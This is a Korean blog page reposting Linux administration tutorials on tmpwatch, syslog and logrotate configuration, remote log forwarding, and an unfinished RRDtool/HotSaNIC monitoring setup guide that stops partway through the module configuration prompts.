리눅스 및 유닉스 시스템에서는 상황에 따라 필요하면 임시파일을 생성한다. 보통 /tmp나 /var/tmp를 이용하며 이외에도 맨페이지 등에서 사용하는 임시파일이 있다. 이런 역할을 하는 프로그램이 tmpwatch 패키지이다. cron.daily에 설정이 되어 자동으로 작동을 하도록 되어 있다.



# cat /etc/cron.daily/tmpwatch

/usr/sbin/tmpwatch 240 /tmp /var/tmp

[ -d /var/cache/man ] && /usr/sbin/tmpwatch -f 240 /var/cache/man/{X11R6/cat?,cat?,local/cat?}

[ -d /var/catman ] && /usr/sbin/tmpwatch -f 240 /var/catman/{X11R6/cat?,cat?,local/cat?}



필요에 따라 임시파일을 생성하는 경우가 있는데 이것이 악용이 된다면 시스템을 공격하는데 사용될 수가 있다. 또한 불필요한 파일 때문에 하드 디스크 공간을 낭비하는 일은 없어야 할 것이다. 위의 스크립트가 아니라고 하더라도 find 명령을 이용하여 일정한 시간이 지난 파일을 주기적으로 삭제하는 것도 한가지 방법이다.
Posted by tornado
|

출처: KLDP

 

[강좌] 시스템 최적화 - 로그파일 분석 및 효율적으로 관리하기

글쓴날 : 2000년 2월 22일(화)
글쓴이 : 문태준
(http://www.taejun.pe.kr, taejun@taejun.pe.kr, taejun@hitel.net)


참고자료
man syslogd.conf
man sysklogd
man logrotate

20만통의 전자메일과 sendmail(마소 99년 5월)중 로그 파일 관리부분
기타 리눅스 및 유닉스 시스템 관리 관련 서적

 


0. 들어가며
시스템에는 사용자 로그인, 메일등 모든 시스템 활동에 대한 로그를 기록
하고 이를 가지고 시스템의 문제에 대해서 분석할 수 있다.
시스템의 로그가 어떤 식으로 기록되고 어떤 의미를 가지고 있는지,
이를 어떻게 활용해야할지 시스템 관리자라면 반드시 숙지하고 있어야
할 것이다.


소규모로 서버를 운영하는 경우 로그파일에 그다지 신경을 쓰는 일이 없다.
그렇지만 제공하는 서비스가 많아지고 규모가 커질 경우 예상치 못한 곳에
서 문제가 생기는 일이 많다. 그중 하나가 엄청나게 증가하는 로그파일문제
이다.

 

예를 들어보자. 하루에 10만통의 전자메일을 처리하는 경우를 생각해보자.
sendmail은 전자메일을 전송하면서 그 결과 메시지른 syslogd를 이용
/var/log/maillog에 저장한다. (이는 설정에 따라 다를 수 있다) 또한
여기에 pop3를 사용해 메일을 가져간 기록과 메일을 전송한 기록까지
저장되어야한다.

 

정상적으로 전자메일이 전송되는 경우 기록되는 메시지는 560 바이트정도
이다. 그렇지만 전송시 에러가 나는 경우에는 그 에러 횟수에 따라 에러
메시지가 추가된다. 평균 하나의 전자메일이 1KB 정도의 로그를 기록한다
고 해보자.

 

하루에 10만개의 메일을 전송한다면 하룻동안 로그의 크기만
100M 이고 일주일이면 700MB이다.
여기에 메일계정이 1000명이고 각 사용자가 5분마다 pop3로 메일을 확인
한다고 했을 경우를 추가해야한다. 한번에 약 0.2KB의 로그가 쌓이면
시간당 12번(5분에 한번씩 확인하는 경우), 하루 8시간 근무시 96번이고
96*0.2KB = 192kb이다. 1000명이므로 192MB가 되고 일주일이면 일요일을
제외하더라도 1.15G정도가 된다.


한 사람당 메일용량을 10M씩 할당하면 전자메일을 저장할 용량만으로
10G가 필요하고 로그를 위해 2G 이상이 필요하다. 여기서 그냥 2G로
끝나는 것이 아니라 rotate 값이 4라면 8G가 된다. 가히 끔찍한 상황이
예상되지 않는가?

 

여기서만 끝나는 것이 아니다. syslogd는 maillog를 열어놓고 계속 로그
를 기록하는데 로그파일이 1M이상 넘어가면 하나의 메시지를 처리하기
위해 시스템 자원을 10% 이상 사용한다고 하며 10M가 넘으면 40% 이상,
100M가 넘으면 80% 이상의 시스템 자원을 사용한다고 한다.

 

 (물론 이는자신의 시스템 상황을 끊임없이 모니터링해서 자신에 맞추어야 할 것이
다) 결국 서비스를 제공하는데 자원을 사용해야하는데 엄청나게 커진
로그파일때문에 시스템의 자원이 없어져서 나중에는 전자메일 전송이
아니라 로그 기록에 모든 cpu 시간을 사용해야한다.

 

하드 디스크를 빈번하게 사용하는 작업이 많으면 시스템의 성능은 급격하게 떨어진다.

이제 웹서버로그 기록을 살펴보자. 이용자가 접속할 때마다 기록되는
access_log는 한번 접속당 약 85Byte가 증가한다. 하루 10만번 접속
하면 8.5M이다. 일주일이면 59.5M이다. 한달이면 255M이다. 서비스하
는 규모가 더 크다면 로그파이을 액세스하고 갱신하는데는 더 많은
시스템 자원을 사용할 것이다.


서론을 이렇게 장황하게 이야기한것은 관리자가 로그 기록에 신경을
쓰지 않는다면 대규모 서비스를 제공하면서 얼마나 큰 문제가 생길수
있는지를 알려주고자 하기 위함이다. 필자의 개인 홈페이지에서야
그런 문제가 생기지는 않겠지만....

 

로그 기록을 어떤 식으로 설정할 것인가? 정책에 관한 것은 관리자가
해야 할 몫이라 생각하며 여기에서는 로그 파일의 설정 및 로테이션
에 대해서 설명을 한다. 필자가 책을 그다지 뒤져보지 않아서 그런지
는 모르겠는데 유닉스 서버 관리 서적에도 이에 대해서는 그리 자세히
나와있지 않아서 이번 기회를 이용해 정리해보고자 한다.

 

 

 

 

1. 시스템 로그 기록 (syslog)
일반적으로 배포판 설치시 로그파일을 기록하는 패키지가 자동으로
설치된다.

# rpm -qa | grep log

logrotate-3.3-1       --->> 로그 로테이트(순환)
sysklogd-1.3.31-12         --->> 시스템 로그 기록


# rpm -ql sysklogd
/etc/logrotate.d/syslog
/etc/rc.d/init.d/syslog
/etc/rc.d/rc0.d/K99syslog
/etc/rc.d/rc1.d/K99syslog
/etc/rc.d/rc2.d/S30syslog
/etc/rc.d/rc3.d/S30syslog
/etc/rc.d/rc5.d/S30syslog
/etc/rc.d/rc6.d/K99syslog
/etc/syslog.conf  --->> 설정파일
/sbin/klogd   --->> 커널 로그 대몬
/sbin/syslogd   --->> 시스템 로그 대몬
/usr/doc/sysklogd-1.3.31
/usr/doc/sysklogd-1.3.31/ANNOUNCE
/usr/doc/sysklogd-1.3.31/INSTALL
/usr/doc/sysklogd-1.3.31/NEWS
/usr/doc/sysklogd-1.3.31/README.1st
/usr/doc/sysklogd-1.3.31/README.linux
/usr/doc/sysklogd-1.3.31/Sysklogd-1.3.lsm
/usr/man/man5/syslog.conf.5
/usr/man/man8/klogd.8
/usr/man/man8/sysklogd.8
/usr/man/man8/syslogd.8

 


참고로 문서디렉토리의 내용은 사용과 관련해서는 그다지 도움이
되지 않고 오히려 맨페이지가 도움이 되었다.

 


# ps aux | head -n10
USER       PID %CPU %MEM   VSZ  RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.1  1168   56 ?        S    14:07   0:05 init [3]
root         2  0.0  0.0     0    0 ?        SW   14:07   0:00 [kflushd]
root         3  0.0  0.0     0    0 ?        SW   14:07   0:00 [kupdate]
root         4  0.0  0.0     0    0 ?        SW   14:07   0:00 [kpiod]
root         5  0.0  0.0     0    0 ?        SW   14:07   0:05 [kswapd]
root         6  0.0  0.0     0    0 ?        SW<  14:07   0:00 [mdrecoveryd]
root       285  0.0  0.5  1232  180 ?        S    14:07   0:00 syslogd -m 0
root       296  0.0  0.0  1464    0 ?        SW   14:07   0:00 [klogd]

 

보통 위와 같이 로그 대몬은 시스템의 부팅시 초창기에 실행이 된다.

 

 


그러면 가장 먼저 /etc/syslog.conf 를 살펴보자. syslod의 설정 파일이다.

 

# cat /etc/syslog.conf


# Log all kernel messages to the console.
# Logging much else clutters up the screen.
#kern.*       /dev/console


# Log anything (except mail) of level info or higher.
# Don't log private authentication messages!
*.info;mail.none;authpriv.none    /var/log/messages

# The authpriv file has restricted access.
authpriv.*      /var/log/secure

# Log all the mail messages in one place.
mail.*       /var/log/maillog

# Everybody gets emergency messages, plus log them on another
# machine.
*.emerg       *

# Save mail and news errors of level err and higher in a
# special file.
uucp,news.crit      /var/log/spooler

# Save boot messages also to boot.log
local7.*      /var/log/boot.log

 

 

 

설정파일은 매우 간단하다. 빈 행과 # 으로 시작되는 행은 무시된다.


(참고로 리눅스는 BSD 형식으로 로그를 구성한다)
설정행의 구조는 다음과 같다.

 

facility.level destination

facility는 메시지를 보내는 서브시스템의 이름이며
level(priority)은 메시지의 중요성(엄격도)을 나타낸다.

facility는 다음과 같다.
auth, authpriv, cron, daemon, kern, lpr, mail, news, syslog,
user, uucp, local0 - local7

priority는 다음과 같다. (엄격도가 감소하는 순서)
debug,  info,  notice, warning, warn (same as warning),
err, error (same as err),  crit,  alert,  emerg,
panic (same as emerg)

 

각자에 대한 설명은 아래를 참고하자.

 

# man 3 syslog


   facility
       The facility argument is used to specify what type of pro
       gram is logging the message.  This lets the  configuration
       file  specify that messages from different facilities will
       be handled differently.

       LOG_AUTH
       security/authorization  messages (DEPRECATED   Use
       LOG_AUTHPRIV instead)

       LOG_AUTHPRIV
       security/authorization messages (private)

       LOG_CRON
       clock daemon (cron and at)

       LOG_DAEMON
       other system daemons

       LOG_KERN
       kernel messages

       LOG_LOCAL0 through LOG_LOCAL7
       reserved for local use

       LOG_LPR
       line printer subsystem

       LOG_MAIL
       mail subsystem

       LOG_NEWS
       USENET news subsystem

       LOG_SYSLOG
       messages generated internally by syslogd

       LOG_USER(default)
       generic user-level messages

       LOG_UUCP
       UUCP subsystem


   level
       This determines the importance of the message.  The levels
       are, in order of decreasing importance:

       LOG_EMERG
       system is unusable

       LOG_ALERT
       action must be taken immediately

       LOG_CRIT
       critical conditions

       LOG_ERR
       error conditions

       LOG_WARNING
       warning conditions

       LOG_NOTICE
       normal, but significant, condition

       LOG_INFO
       informational message

       LOG_DEBUG
       debug-level message


auth 대신 auth_priv를 사용할 것을 추천하고 있으며 나머지는
읽어보면 쉽게 이해가 갈 것이다. 크론, 대몬, 커널 메시지,
로컬에서 사용, 프린터, 메일, 뉴스, syslog, 사용자 정의,
UUCP. (auth는 로그인 인증 시스템)

emerg : 시스템 패닉
alert : 에러 경고. 즉각 알려야할 내용
crit : 하드 장치 에러와 같은 임계 에러(critical error)
err : 에러
warn : 경고
notice : 비임계 메시지
info : 정보 메시지
debug :문제 추적을 돕는 특수 정보
만약 none 이라고 하면 그에 대한 모든 로그 메시지를 제외하라는 뜻입니다.


모든 facility 나 priority 를 지정하려면 * 를 쓰면 되며
여러개를 지정하려면 , 를 사용하면 됩니다.

 

그런데 여기서 반드시 알아두야할것이 priority를 지정하면 그와
갈은 priority부터 그 위의 priority에 관련된 로그를 기록한다는
것입니다. 만약 info 를 지정하면 emerg 부터 info 사이의 모든
로그를 기록하는 것이지요.

 

만약 단일한 priority를 지정하려면 = 를 사용하면 됩니다.
!는 priority 범위를 제한합니다.
이에 대해서는 아래에서 설명하는 예를 참고하세요.

 

** 리눅스에서 syslogd는 원래 BSD 소스에 몇가지 기능이 추가
되었다. =, ! 등이 이에 속한다.


로그파일을 기록으로 남기는 방식에는 여러가지가 있다.
가장 먼저 파일형태(/var/log/messages). named pipe.
터미널과 콘솔(/dev/console). 원격 머신(@). 사용자.
로그인한 전체 사용자(*)

자 가장 먼저 /etc/syslog.conf 를 살펴보자.

# cat /etc/syslog.conf

 

# Log all kernel messages to the console.
# Logging much else clutters up the screen.
kern.*       /dev/console

# 모든 커널 메시지를 콘솔로.


# Log anything (except mail) of level info or higher.
# Don't log private authentication messages!
*.info;mail.none;authpriv.none    /var/log/messages

# 모든 info를 messages에 기록. 여기서 mail, authpriv 관련 기록은 제외


# The authpriv file has restricted access.
authpriv.*      /var/log/secure

# 모든 로그인 인증 관련 기록. su, login 등을 모두 여기 기록


# Log all the mail messages in one place.
mail.*       /var/log/maillog

# 모든 메일 메시지


# Everybody gets emergency messages, plus log them on another
# machine.
*.emerg       *

# 비상 메시지(emerg)는 현재 로그인한 모든 사용자에게 알림


# Save mail and news errors of level err and higher in a
# special file.
uucp,news.crit      /var/log/spooler

# uucp, news 의 crit 정보 기록


# Save boot messages also to boot.log
local7.*      /var/log/boot.log

# 부트 메시지 기록

 

보통 위의 내용이 일반적인 배포판 구성이다.
아마 kernel 메시지에는 주석이 되어있을 것이다.


예를 들어 *.err  /dev/tty8 를 추가해보자.
놀고있는 tty8 콘솔에서 시스템에서 발생하는 모든
에러를 볼 수 있다.

*.*  @taejun

이건 모든 메시지를 taejun 이라는 원격 호스트에서 처리하도록
할 수 있다. 어떤 경우 이게 유용할까? 이건 클러스터링으로 구성된
시스템에서 아주 유용할 것이다. 모든 syslog 메시지를 한대의
시스템으로 모을 수 있으니깐.


그러면 위의 기본 설정말고 몇가지 예를 더 보자.


      # Store critical stuff in critical
      #
      *.=crit;kern.none     /var/adm/critical


      # 커널을 제외하고 모든 crit 에 해당하는 메시지 기록
      # (여기서 = 를 지정한 차이점에 대해서 이해해야함)

 

      # Kernel messages are first, stored in the kernel
      # file, critical messages and higher ones also go
      # to another host and to the console
      #
      kern.*      /var/adm/kernel
      kern.crit      @finlandia
      kern.crit      /dev/console
      kern.info;kern.!err    /var/adm/kernel-info

     
      # 커널 관련 모든 기록은 kernel 파일에,
      # 커널에서 crit 이상의 메시지는는 콘솔과 원격 호스트로.
      # 두번째 부분(원격 호스트)이 유용한 것은 만약 시스템이
      # 붕괴해서 디스크에서 복구할 수 없는 에러가 났더라도
      # 원격 호스트에서 이 문제를 해결할 수 있는 원인을
      # 찾을 수 있다.
      # 이제 네번째 줄. 이건 info 부터 err 이전 그러니깐
      # info , notice, warn 에 대한 메시지를 기록한다.
      # 로그 범위을 제한하는 것이지요.

 

      # The tcp wrapper loggs with mail.info, we display
      # all the connections on tty12
      #
      mail.=info     /dev/tty12

      # mail.info에 관련된 메시지를 12번째 콘솔에 기록.


      # Store all mail concerning stuff in a file
      #
      mail.*;mail.!=info    /var/adm/mail


      # mail.info 만 제외하고 모든 mail 메시지.


      # Log all mail.info and news.info messages to info
      #
      mail,news.=info     /var/adm/info

      # mail 과 news의 info 만 기록


      # Log info and notice messages to messages file
      #
      *.=info;*.=notice;\
    mail.none  /var/log/messages
     
      # info 와 notice 에 해당하는 모든 메시지 기록.
      # 여기서 mail의 모든 메시지만 제외.

 

      # Log info messages to messages file
      #
      *.=info;\
    mail,news.none /var/log/messages
      
      # 모든 info 에 관련된 메시지.
      # 단, 메일, 뉴스의 모든 메시지는 제외

 

      # Emergency messages will be displayed using wall
      #
      *.=emerg      *

      # 모든 emergency 메세지를 현재 로그인한 모든 사용자에게.
      # 이는 wall 과 같다.

 

      # Messages of the priority alert will be directed
      # to the operator
      #
      *.alert      root,taejun

      # 모든 alert 이상 메시지를 root 와 taejun 사용자에게


      *.*      @taejun

      # 모든 메시지를 taejun 이라는 원격 호스트로
      # 위에서 설명했던 것처럼 클러스터링 시스템에서
      # 모른 로그 메시지를 한곳에 기록하는 경우 유용

 


logger 유틸리티는 쉘 스크립트에서 syslog 기능을 이용
메시지를 보낼 수 있다.

# logger -p authpriv.alert -t oh_no_login  \
   '태준이가 이상한 곳에서 로그인했어요... 오옷 이런~~'


# tail -f secure


Feb 22 18:31:42 taejun oh_no_login: 태준이가 이상한 곳에서
                                  로그인했어요... 오옷 이런~~          


좀 유치한 예이지요????

참고로 /var/log/wtmp 를 이용, last 명령으로
사용자의 로그인과 관련된 기록을 볼 수 있다.

위 설정파일에서 /var/log/에 있는 로그파일에 대해서
어느정도 설명을 다 하였다. 여기서 언급하지 않은 것이
xferlog 인데 이는 ftp 서버에 대한 로그파일이다.


위 내용을 참고로 자신의 서버에 맞는 로그 기록을 설정해보자.

 

 

2. logrotate 이용한 로그 파일 관리
서문에서 말을 한대로 로그파일을 제대로 관리하지 않으면
대형 서버의 경우 로그파일때문에 하드디스크 공간이 남아나지
않고 또 로그파일 처리로 버벅거리게 된다.

대부분 레드햇 기반의 배포판에서는 기본으로 설치되어 있다.


# rpm -qa | grep logrotate
logrotate-3.3-1


# rpm -ql logrotate
/etc/cron.daily/logrotate
/etc/logrotate.conf
/etc/logrotate.d            
/usr/man/man8/logrotate.8
/usr/sbin/logrotate        

logrotate는 계속 커지는 로그파일을 효율적으로
관리하기 위한 프로그램이다.
자동으로 로테이션을 시켜주고, 압축, 제거, 메일로 보내주기 등의
작업을 한다.

초기 리눅스 설치시 자동으로 cron에 추가가 된다.

/etc/cron.daily/logrotate

내용은 다음과 같다.

# cat /etc/cron.daily/logrotate

#!/bin/sh

/usr/sbin/logrotate /etc/logrotate.conf


위에서 보면 logrotate 가 프로그램이고 logrotate.conf가
설정파일이라는 것을 알 수 있을 것이다.
위에서 .conf 파일대신 특정 디렉토리를 지정하면
그 해당 디렉토리의 모든 파일을 사용해 작업을 한다.
logrotate 에 여러가지 옵션이 있지만 그다지 사용할 일은
없을 것 같다. 혹시나 궁금하면 man 으로 확인.

먼저 rotate 에 대해서 설명하겠다.
rotate 3 라면 cron 로그라고 했을 경우.
/var/log 디렉토리에 cron이 제일 처음 생성되고
순환간격마마 예전 cron 은 cron.1 이, cron.1은 cron.2,
cron.2 는 cron.3 으로 된다. 기존의 cron.3은 삭제가 될 것이다.
그러니깐 새로 생성한 메일로그외에 이전의 로그를 3개까지 기록
하는 것이다.

 

자 그러면 이제 설정파일을 한번 살펴보자.

# cat /etc/logrotate.conf


# see 'man logrotate' for details
# rotate log files weekly
weekly

# 기본적으로 일주일마다 로그파일을 순환시킴


# keep 4 weeks worth of backlogs
rotate 4

# 이전 로그파일을 4주동안 간직.
# 위에서 순환간격을 1주일로 했으므로. 

 

# send errors to root
errors root

# 에러가 생길경우 root 에게 메일로.


# create new (empty) log files after rotating old ones
create

# 예전 로그파일을 순환시킨후 새로운 로그파일 생성


# uncomment this if you want your log files compressed
#compress

# gzip 을 이용 압축한다.


# RPM packages drop log rotation information into this directory
include /etc/logrotate.d

# /etc/logrotate.d 파일 또는 디렉토리 안에 있는 파일을 읽어들인다.
# 참고로 필자의 서버에는 다음과 같은 기본설정 파일이 있다.
# ls /etc/logrotate.d
# apache  cron  ftpd  named  samba  squid  syslog
# 여기서 가장 중요한 syslog는 messages, secure, maillog, spooler,
# bootlog 로 구성

 

# no packages own lastlog or wtmp -- we'll rotate them here
/var/log/wtmp {
    monthly
    create 0664 root utmp
    rotate 1
}

# 매월마다 순환시킴
# create 는 순환후 즉시 (postrotate 스크립트를 실행시키기전에)
# 로그 파일을 생성한다. 뒤에서 설명할 것이지만 postrotate는
# 로그파일을 순환한후 진행할 작업을 명시한다.
# 0664 는 생성하는 파일의 허가권,  root 는 소유자, utmp 는 그룹
# rotate 1 은 위에서 설명했다. 그런데 개별적으로 설정하면
# 초기에 설정한 weekly 는 무시되 개별 설정을 따른다
# 그러므로 여기에서는 이전의 로그파일이 1개만 남을것이다.
# (원본 제외)
# 참고로 기본적으로 syslog에서는 600으로 허가권을 설정한다.
# 다른 누구도 로그파일에 접근하면 안되기 때문이다.


/var/log/lastlog {
    monthly
    rotate 1
}

# system-specific logs may be configured here

 

이제 몇가지 주요한 옵션에 대해서 살펴보자.

ㅇ 순환할 기간 설정 : daily, weekly, monthly 등
여기에 size 를 이용해 크기까지 설정할 수 있다.
접속이 많아서 로그파일이 엄청나게 늘어나는 경우에는
size(기본 kilobytes)를 이용 제어해야 할 것이다.
size 100k(= size 100)


ㅇ 압축설정 : compress
gzip으로 이전 로그파일을 압축한다.
공간을 절약할 수 있다.
이 옵션을 없애려면 주석을 달든지 아니면
nocompress(기본값) 사용

ㅇ 메일설정 : error, mail
error taejun    -> 에러를 taejun 이라는 사용자에게 보냄
mail taejun -> 로그파일을 순환시키고 나중에 삭제해야할때
               삭제하지 않고 메일로 보내는 것이다.

ㅇ 로그파일 생성
create mode owner group (기본값)
위에서 사용예는 설명했다. create 를 지정하면 순환후 로그
파일을 생성한다. 반대는 nocreate

ㅇ 순환간격 : rotate count
이전 로그파일이 삭제되거나 메일로 보내기전에 순환을 할
횟수 지정. 여기서 0으로 지정하면 예전 로그파일은
무조건 삭제된다.


ㅇ 지정한 로그파일이 없을 경우 : missingok, nomissingok
로그파일이 없으면 기본은 에러를 낸다(nomissingok, 기본값).
missingok 를 지정하면 없더라도 에러를 내지는 않는다.


ㅇ 로그파일의 내용이 없을 경우(비어있을경우)
기본은 ifempty로 내용이 비었어도 순환을 한다.
순환을 하지 않도록 하려면 notifempty 를 지정하면 된다.


ㅇ 순환후 작업 : postrotate/endscript
순환하기전 작업을 하려면 prerotate/endscript
를 사용한다. 일반적으로는 순환후 작업을 할 것이다.
예를 들어 메일관련 로그를 새로 생성했으면 syslogd를
다시 가동시켜야 할 것이다. 이런것들을 지정한다.

ㅇ 파일 또는 디렉토리 포함 : include
다른 파일이나 디렉토리안의 파일을 포함할 경우

 


자 이에 위의 내용을 토대로 메일의 로그를 조정해보자.
여기서는 /etc/logrotate.d/syslog 에서 메일서버의
로그만 따로 처리를 해보겠다. 

# vi /etc/logrotate.d/maillog
weekly
size 500k
rotate 4
compress
errors admin
mail admin
nomissingok
create 0644 root root
/var/log/maillog   {
 postrotate
  /usr/bin/killall -HUP syslogd
 endscript
}


/var/log/messages  {
 postrotate
  /usr/bin/killall -HUP syslogd
 endscript
}
 

위의 예제는 그냥 참고로 만든 것이므로 따라할 필요는 없다.
매주마다 한번식 순환시키고 크기가 500k가 넘지 않도록 하며
순환한 파일은 압축을 한다. 에러를 admin 이라는 사용자에게
보내고 순환후 삭제할 파일을 메일로 admin 에게 보낸다.
만약 로그파일이 없으면 에러를 내며 순환후 파일을 생성시키고
이 파일의 모드는 0644 로 소유자와 그룹은 root 로 한다.


서비스의 규모에 따라 로그파일을 순환할 주기를 더 짧게 잡아야
한다. 크기를 지정하는것이 여러모로 효율적일 것이다.

 


3. 마치며
여기까지 읽었다면 대략 시스템의 로그가 어떻게 작성되고
어떻게 관리를 해야할지 감을 잡았을 것이다.
시스템이 나쁘다는 것을 탓하지 전에 관리자가 얼마나
시스템의 상태를 주기적으로 점검하고 최적화하는지가
중요하다.

 


### 참고 : 서버 로그를 다른 호스트에 기록하기

클러스터링 시스템을 구성하는 경우 여러 서버로 로그가 나누어집니다.
이럴 경우 중앙의 관리자용 서버로 로그를 집중시킬 수 있습니다.


1. 먼저 확인해야 할 것
/etc/services
syslog 514/udp

로그를 만드는 쪽과 받는 쪽 두군데에서 다 필요합니다.
보통 기본 설정되어있을 것입니다.
메시지를 주고받는데 UDP 포트가 필요하기 때문입니다.


2. 로그를 작성하는 서버에서 필요한 설정.

/etc/syslog.conf

mail.info @admin

이건 mail.info 에 해당하는 로그를 admin 이라는 호스트로 보내는 것입니다.

이왕이면 admin은 DNS에 문제가 생길 수도 있으므로 /etc/hosts에 등록해
두는 것이 좋을 것입니다.

필요하다면 *.* 을 이용 전부를 다 보낼 수도 있겠지요.
이게 좋은게 뭐냐면 시스템이 맛이 가더라도 원격 호스트에도 로그 파일이
남으므로 나중에 분석을 할 수 있다는 것입니다.


3. 로그를 받는 서버에서 필요한 설정
syslogd 대몬을 시작할때 추가 옵션이 필요합니다.
레드햇의 경우 시작파일은 다음과 같은 형태일 것입니다.

/etc/rc.d/init.d/syslog

여기서 대몬을 시작하는 옵션으로

daemon syslogd -m 0 -r -h

이렇게 사용을 합니다.

-m 0 : 기본설정되어있는것으로 변경하지 않아도 됩니다. 이건 지정한 분동안에
 MARK 라고 로그파일에 기록을 합니다. 0이면 기록을 하지 않는 것이지요.
-r : 인터넷 도메인 소켓을 이용해 네트웍에서 메시지를 받는 옵션
-h : 기본적으로 syslogd는 원격 호스트에서 받은 메시지를 로그 기록으로 전송하지
       않습니다. 이 옵션을 사용하여 원격 호스트에서 받은 로그파일을 전송합니다.
      (전송이란 받은 쪽의 로그 파일에 기록한다고 생각하면 됩니다)

man syslogd 를 해보면 도움을 얻을 수 있습니다.

syslogd의 보안을 위한 보안 패키지도 있습니다.

http://www.core-sdi.com/english/freesoft.htm
secure system logging tool 입니다.
그런데 지원하는 것을 보면 슬랙웨어이군요.
컴파일하여 설치하는 것이니깐 무난히 설치될 것이라 예상되네요.

 

 

 

 

 

 

 

막상 퍼왔지만.. 읽어 보니 .. 당체 감이 안오는 군여..^.^;

 

언젠가는 이내용을 이해할수 잇을 정도의 내공을 쌓겟져..머...헤헤..

Posted by tornado
|
제 목 : 서버 모니터링 툴의 강자, RRDtool 가이드 (작성중. alpha 버전)
작성자 : 좋은진호(truefeel)
작성일 : 2003.9.22(월)~

그래픽 모니터링 툴인 RRDtool과 그 프론트엔드 툴 HotSaNIC의 설치, 운영가이드이다.

1. RRDtool의 이해
2. RRDtool 설치
3. HotSaNIC 설치
4. RRDtool 직접 다루기
5. 문제 해결
6. 이용 사례



1. RRDtool의 이해

RRDtool에 대해 들어가기 전에 먼저 MRTG 툴을 설명할 필요가 있을 듯 하다.
MRTG(Multi Router Traffic Grapher)는 이름에서도 드러난대로, SNMP 프로토콜을 사용하여
라우터를 거쳐가는 트래픽을 실시간 그래픽을 통해 모니터링하는데 가장 많이 사용한다.
이외에 시스템을 모니터링하는 여러 addon들이 있다.
DISK 사용량, CPU사용량, 메모리 사용량, 데몬, 세션 개수 등..
심지어는 P2P인 당나귀의 트래픽, 프락시 서버인 Squid 트래픽까지 실시간(실시간이라기
보다는 특정 시간간격으로 변화하여 보여준다는게 더 정확하지만)으로 웹에서 볼 수 있다.

RRDtool은 MRTG처럼 실시간 그래픽 모니터링 기능을 가지고 있으면서 보다 더 개선된 형태의
툴이다. 보다 빠르고 시스템 로드를 덜 잡아먹는다. 또한 MRTG의 제약이었던 2개 이상의 데이터를
하나의 그래픽을 통해 표시할 수 있다. 그래픽의 유연성(?)면에서도 단연 RRDtool이 압도한다.

[ MRTG로 트래픽 모니터링하는 화면 ]


[ RRDtool과 HotSaNIC으로 CPU 사용률을 모니터링하는 화면 ]


2. RRDtool 설치

RRDtool :
http://people.ee.ethz.ch/~oetiker/webtools/rrdtool/

RRDtool의 시스템 요구사항은 다음과 같다.

Perl 5.005 (컴파일시에 문제가 발생하면 더 최신 것을 설치해본다.)
GNU make
GNU gcc

위 RRDtool 사이트에서 최신 버전을 받아온다. /usr/local/rrdtool에 하는 것으로 가정한다.


# tar xvfz rrdtool-1.0.45.tar.gz
# cd rrdtool-1.0.45
# ./configure --prefix=/usr/local/rrdtool
# make install
# make site-perl-install
... 중략 ...
Installing /usr/lib/perl5/site_perl/5.8.0/RRDp.pm
Installing /usr/share/man/man3/RRDp.3pm
... 생략 ...


3. HotSaNIC 설치

HotSaNIC :
http://hotsanic.sourceforge.net/archive/

HotSaNIC은 RRDtool을 사용하는 툴로 시스템 통계정보를 그래프로 생성해준다.

* 시스템 요구 사항

- RRDtool
- iptables 또는 ipchains (네트워크 트래픽 통계용으로 쓰기 위함)

위 사이트에서 받은 최신 버전은 컴파일없이 환경설정만으로 바로 사용하므로
/usr/local에서 압축을 푼다.


# cd /usr/local
# tar xvf HotSaNIC-0-5-0-pre3.tgz ( HotSaNIC/ 디렉토리가 생성된다. )
# cd HotSaNIC



1) 제공하는 모듈

HotSaNIC은 어떤 모듈을 통해 시스템 통계를 제공하는지 알아보고,
그 모듈을 사용할 것인지 안할 것인지를 판단해보자.


---------   ----------------------------------------------------------- ---------------
모듈      처리하는 통계 정보                      truefeel의 권장
---------   ----------------------------------------------------------- ---------------
APCUSV    APC UPS의 현황 (apcaccess 툴 사용)             N
         (APC UPS를 사용하지 않고 또한 있더라도 서버와 연결하여

                    모니터링중이 아니라면 N)
APPS     데몬, 응용프로그램별 프로세스 현황                Y
          (프로세스 이름 별도 설정 필요)
DISKIO     각 HDD별(파티션별이 아님) 입출력                   Y
          (별도 설정 필요)
DNET     Distributed.Net관련 RC5, OGR, DES, CSC ???         N
NETWORKS  네트워크 트래픽 (별도 설정 필요)                     Y
PART    파티션별 사용량                                  Y
PING     지정한 서버로 ping time 결과 (ping서버 설정 필요)        ping할 서버가

                                                                                                            있다면
SENSORS CPU, 마더보드 등의 온도, 전압등의 수치              원하는대로
SHOUTCAST 지정한 서버와 포트로의 스트링 현황 (서버, 포트 설정 필요)  N
SYSTEM  시스템의 프로세스 수, CPU 사용률, load, 메모리 사용률, ...      Y
TRAFFIC  네트워크 인터페이스별(eth0, ...) 트래픽                   Y
        (SNMP를 통해 라우터나 다른 서버의 트래픽도 모니터링 가능,
         물론 이 때는 별도 설정 필요)
WORMS  웹로그 파일을 이용한 님다, 코드레드 등의 웜 공격 건수           Y
       (웹로그 경로 설정 필요. 문자열 지정으로 다른 웜 공격도 설정 가능)
--------- ----------------------------------------------------------- ----------------


2) setup.pl로 기본 환경 파일 생성

이제 setup.pl 으로 기본 환경 설정을 해보자.
과정은 길지만 간단하다. 모듈을 보고 Y로 할 것인, N로 할 것인지를 결정한다.
이 설정은 나중에 ./setup.pl으로 변경할 수 있으므로 맘 편하게 진행해라.
(반복되는 내용이라 메시지 중간중간 생략하였다.)


# ./setup.pl
Configuring modules:


Module found: APCUSV
----------------------------------------
Do you want to use this module ? (Y)es / (n)o > n

Module found: APPS
----------------------------------------
Do you want to use this module ? (Y)es / (n)o >
Do you want to show this module's graphs on the webpage ? (Y)es / (n)o >

... 중략 ...

Module found: DISKIO  ... 중략 ...
Module found: DNET   ... 중략 ...
Module found: NETWORKS
----------------------------------------
Do you want to use this module ? (Y)es / (n)o >
Do you want to show this module's graphs on the webpage ? (Y)es / (n)o >

setting up networks ...

Configuring local interfaces.
(i)nternal means an interface pointiong to your local machines (intranet)
(e)xternal means an interface connecten with the internet
(n)one means you don't want to account this interface.

Please answer these:
found: eth0 - (i)nternal, (e)xternal or (n)one ? e

found: lo - (i)nternal, (e)xternal or (n)one ? n

... 중략 ...

Module found: PART   ... 중략 ...
Module found: PING   ... 중략 ...
Module found: SENSORS  ... 중략 ...
Module found: SHOUTCAST ... 중략 ...
Module found: SYSTEM  ... 중략 ...
Module found: TRAFFIC
----------------------------------------
Do you want to use this module ? (Y)es / (n)o >
Do you want to show this module's graphs on the webpage ? (Y)es / (n)o >

setting up traffic ...

Configuring local interfaces. Please answer these:
